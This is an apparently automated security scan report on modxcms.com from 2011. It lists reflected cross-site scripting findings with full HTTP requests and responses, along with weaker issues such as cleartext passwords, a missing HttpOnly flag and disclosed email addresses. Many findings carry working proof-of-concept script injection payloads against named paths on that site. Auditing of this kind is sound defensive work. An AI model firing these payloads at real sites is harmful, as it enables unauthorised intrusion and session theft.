Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://modxcms.com/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://modxcms.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b1d5"><script>alert(1)</script>669205ce58 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?9b1d5"><script>alert(1)</script>669205ce58=1 HTTP/1.1 Host: modxcms.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Fri, 07 Jan 2011 21:53:22 GMT Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1 Set-Cookie: SN4b017c9e75f0d=6a85e2489af80602bfa572698b93d02d; expires=Fri, 14 Jan 2011 21:53:22 GMT; path=/; domain=.modxcms.com Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23973
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47b80"><script>alert(1)</script>9d812b6ece9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12e27"><script>alert(1)</script>bf8bb2dd5aa was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a88ef"><script>alert(1)</script>65dfabe0f1b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfef8"><script>alert(1)</script>677069b1304 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a02e"><script>alert(1)</script>2ca16fdedaa was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 955cf"><script>alert(1)</script>f5ff31e756a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1b31"><script>alert(1)</script>583abac3be0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e504"><script>alert(1)</script>7cc1f12f26 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f48bb"><script>alert(1)</script>8ed573be155 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 328f6"><script>alert(1)</script>52bf6ca2f97 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92948"><script>alert(1)</script>ab32cd3ee96 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /assets92948"><script>alert(1)</script>ab32cd3ee96/components/showcase/js/web/showcase.js HTTP/1.1 Host: modxcms.com Proxy-Connection: keep-alive Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f
Response
HTTP/1.1 404 Not Found Date: Sat, 08 Jan 2011 02:55:33 GMT Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 18852
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5b0c"><script>alert(1)</script>c4f30413a01 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /assets/componentse5b0c"><script>alert(1)</script>c4f30413a01/showcase/js/web/showcase.js HTTP/1.1 Host: modxcms.com Proxy-Connection: keep-alive Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f
Response
HTTP/1.1 404 Not Found Date: Sat, 08 Jan 2011 02:55:34 GMT Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 18852
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1eb20"><script>alert(1)</script>853d7d885db was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /assets/components/showcase1eb20"><script>alert(1)</script>853d7d885db/js/web/showcase.js HTTP/1.1 Host: modxcms.com Proxy-Connection: keep-alive Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f
Response
HTTP/1.1 404 Not Found Date: Sat, 08 Jan 2011 02:55:36 GMT Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 18852
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cdb14"><script>alert(1)</script>461914b0c88 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /assets/components/showcase/jscdb14"><script>alert(1)</script>461914b0c88/web/showcase.js HTTP/1.1 Host: modxcms.com Proxy-Connection: keep-alive Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f
Response
HTTP/1.1 404 Not Found Date: Sat, 08 Jan 2011 02:55:37 GMT Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 18852
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 993eb"><script>alert(1)</script>a90af2bccf was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /assets/components/showcase/js/web993eb"><script>alert(1)</script>a90af2bccf/showcase.js HTTP/1.1 Host: modxcms.com Proxy-Connection: keep-alive Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f
Response
HTTP/1.1 404 Not Found Date: Sat, 08 Jan 2011 02:55:38 GMT Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 18851
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fde3b"><script>alert(1)</script>ac728a02258 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /assets/components/showcase/js/web/showcase.jsfde3b"><script>alert(1)</script>ac728a02258 HTTP/1.1 Host: modxcms.com Proxy-Connection: keep-alive Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f
Response
HTTP/1.1 404 Not Found Date: Sat, 08 Jan 2011 02:55:40 GMT Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 18852
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7acde"><script>alert(1)</script>9188543779c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1820"><script>alert(1)</script>967473d91b8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9675c"><script>alert(1)</script>29ded01edbd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58b54"><script>alert(1)</script>f50bf24a0f7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea765"><script>alert(1)</script>365725ea8f8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
1.23. http://modxcms.com/community/partners/hosting.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://modxcms.com
Path:
/community/partners/hosting.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3897"><script>alert(1)</script>7a92b5f301d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bdf53"><script>alert(1)</script>213b7cad6e7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /favicon.icobdf53"><script>alert(1)</script>213b7cad6e7 HTTP/1.1 Host: modxcms.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100
Response
HTTP/1.1 404 Not Found Date: Sat, 08 Jan 2011 02:56:52 GMT Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 18818
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83e4b"><script>alert(1)</script>828ba8bbc44 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51c22"><script>alert(1)</script>1045134e893 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /min51c22"><script>alert(1)</script>1045134e893/b=assets&f=css/reset.css,css/text.css,css/960.css,site.css,js/pushup/css/pushup.css HTTP/1.1 Host: modxcms.com Proxy-Connection: keep-alive Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f
Response
HTTP/1.1 404 Not Found Date: Sat, 08 Jan 2011 02:55:30 GMT Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 18894
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a6ab"><script>alert(1)</script>e870f11875c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /min4a6ab"><script>alert(1)</script>e870f11875c/b=assets/js&f=jquery-1.3.2.min.js,jquery.tools.min.js,jquery.fancyzoom.js,jquery.labelify.js,jquery.jget.js,modxcms.js,pushup/pushup.js HTTP/1.1 Host: modxcms.com Proxy-Connection: keep-alive Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f
Response
HTTP/1.1 404 Not Found Date: Sat, 08 Jan 2011 02:55:30 GMT Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Content-Length: 18946
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The following cookie was issued by the application and does not have the HttpOnly flag set:
SN4b017c9e75f0d=a5f2f510e93a79d125439239c9adcfe2; expires=Fri, 14 Jan 2011 21:53:17 GMT; path=/; domain=.modxcms.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET / HTTP/1.1 Host: modxcms.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Fri, 07 Jan 2011 21:53:17 GMT Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1 Set-Cookie: SN4b017c9e75f0d=a5f2f510e93a79d125439239c9adcfe2; expires=Fri, 14 Jan 2011 21:53:17 GMT; path=/; domain=.modxcms.com Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23181
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <base href="htt ...[SNIP]...
The following email addresses were disclosed in the response:
Sales@Site5.com
be@cloud.bg
info@hostcolor.com
sales@maiahost.com
sales@onesmarthost.co.uk
sales@siteground.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).